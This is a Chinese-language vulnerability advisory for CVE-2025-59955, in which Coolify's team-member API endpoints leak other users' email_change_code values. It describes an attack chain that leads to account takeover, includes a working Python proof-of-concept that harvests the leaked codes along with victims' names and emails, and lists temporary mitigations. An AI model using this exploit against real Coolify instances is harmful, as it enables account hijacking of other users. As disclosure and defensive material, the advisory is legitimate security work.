IPBUF安全漏洞报告
English
CVE-2025-59955 CVSS 5.7 中危

CVE-2025-59955 Coolify团队成员API信息泄露漏洞

披露日期: 2026-01-05

漏洞信息

漏洞编号
CVE-2025-59955
漏洞类型
信息泄露
CVSS评分
5.7 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Coolify

相关标签

信息泄露敏感数据暴露CoolifyAPI安全账户劫持权限绕过CVE-2025-59955

漏洞概述

CVE-2025-59955是Coolify开源服务器管理工具中的一个信息泄露漏洞。Coolify是一款开源自托管工具,用于管理服务器、应用程序和数据库。该漏洞存在于v4.0.0-beta.420.8及之前版本的团队成员API端点中,具体位于`/api/v1/teams/{team_id}/members`和`/api/v1/teams/current/members`这两个接口。攻击者通过这些API端点可以获取同一团队内其他用户的高度敏感的`email_change_code`。该验证码本应严格保密,仅用于单次邮箱更改验证操作。由于此信息泄露,恶意攻击者能够代表受害者执行未经授权的邮箱地址更改操作,从而可能接管受害者账户或获取更高权限。漏洞需要攻击者具有团队成员身份(低权限认证),并需要一定的用户交互才能完成攻击。截至漏洞披露时,官方尚未发布修复版本。

技术细节

该漏洞属于敏感数据过度暴露(Sensitive Data Exposure)类型。在Coolify的团队成员管理API实现中,当认证用户请求团队成员列表时,后端错误地将所有成员的`email_change_code`字段包含在响应数据中返回给客户端。这个验证码本应仅在用户发起邮箱更改请求时生成,并仅发送给邮箱所有者验证,但API将其暴露给了所有已认证的团队成员。攻击者只需发送一个带有有效认证令牌的HTTP GET请求到受影响的API端点,即可获取目标用户的验证码。由于Coolify使用JWT或类似的无状态认证机制,攻击者只需获取团队成员资格即可利用此漏洞。获取到验证码后,攻击者可以构造邮箱更改请求,利用该验证码完成劫持。

攻击链分析

STEP 1
步骤1
攻击者获取Coolify实例的有效认证令牌(通过注册账户并加入目标团队)
STEP 2
步骤2
攻击者构造HTTP GET请求到/api/v1/teams/{team_id}/members或/api/v1/teams/current/members端点
STEP 3
步骤3
API响应中包含所有团队成员的敏感email_change_code字段
STEP 4
步骤4
攻击者提取目标受害者的email_change_code值
STEP 5
步骤5
攻击者使用获取的验证码调用邮箱更改API,将受害者邮箱替换为攻击者控制的邮箱
STEP 6
步骤6
通过邮箱重置功能,攻击者可以重置受害者密码,从而完全接管账户

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-59955 PoC - Coolify email_change_code Information Disclosure Note: This is for educational and authorized testing purposes only. """ import requests import json import sys # Configuration TARGET_URL = "https://your-coolify-instance.com" # Replace with your actual authentication token (JWT) AUTH_TOKEN = "your-jwt-token-here" # Replace with the target team_id or use 'current' TEAM_ID = "current" def exploit(): """Exploit the information disclosure vulnerability""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Target endpoints that leak email_change_code endpoints = [ f"/api/v1/teams/{TEAM_ID}/members", "/api/v1/teams/current/members" ] print("[*] CVE-2025-59955 - Coolify Information Disclosure") print(f"[*] Target: {TARGET_URL}") print() for endpoint in endpoints: url = f"{TARGET_URL}{endpoint}" print(f"[*] Requesting: {endpoint}") try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Success! Received response from {endpoint}") print(f"[+] Status Code: {response.status_code}") # Extract email_change_code from response if isinstance(data, list): for member in data: if 'email_change_code' in member: print(f"[!] LEAKED: email_change_code = {member['email_change_code']}") print(f"[!] For user: {member.get('name', 'Unknown')} ({member.get('email', 'Unknown')})") elif isinstance(data, dict) and 'data' in data: for member in data['data']: if 'email_change_code' in member: print(f"[!] LEAKED: email_change_code = {member['email_change_code']}") print(f"[!] For user: {member.get('name', 'Unknown')} ({member.get('email', 'Unknown')})") # Show full response for analysis print(f"[+] Full response preview:") print(json.dumps(data, indent=2)[:500]) print() elif response.status_code == 401: print(f"[-] Authentication failed (401)") elif response.status_code == 403: print(f"[-] Access denied (403)") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") print("\n[*] Note: Use obtained email_change_code to change victim's email") print("[*] This PoC is for authorized security testing only.") if __name__ == "__main__": exploit()

影响范围

Coolify v4.0.0-beta.420.8及之前所有版本

防御指南

临时缓解措施
由于官方尚未发布修复版本,建议采取以下临时措施:1) 限制Coolify实例的网络访问,仅允许受信任的IP地址访问管理界面和API;2) 启用详细的API访问审计日志,监控对团队成员端点的异常访问;3) 考虑临时禁用团队成员邀请功能,防止新成员加入;4) 通知所有团队成员警惕任何可疑的邮箱更改通知;5) 如果可能,部署Web应用防火墙(WAF)规则来过滤和监控相关API请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表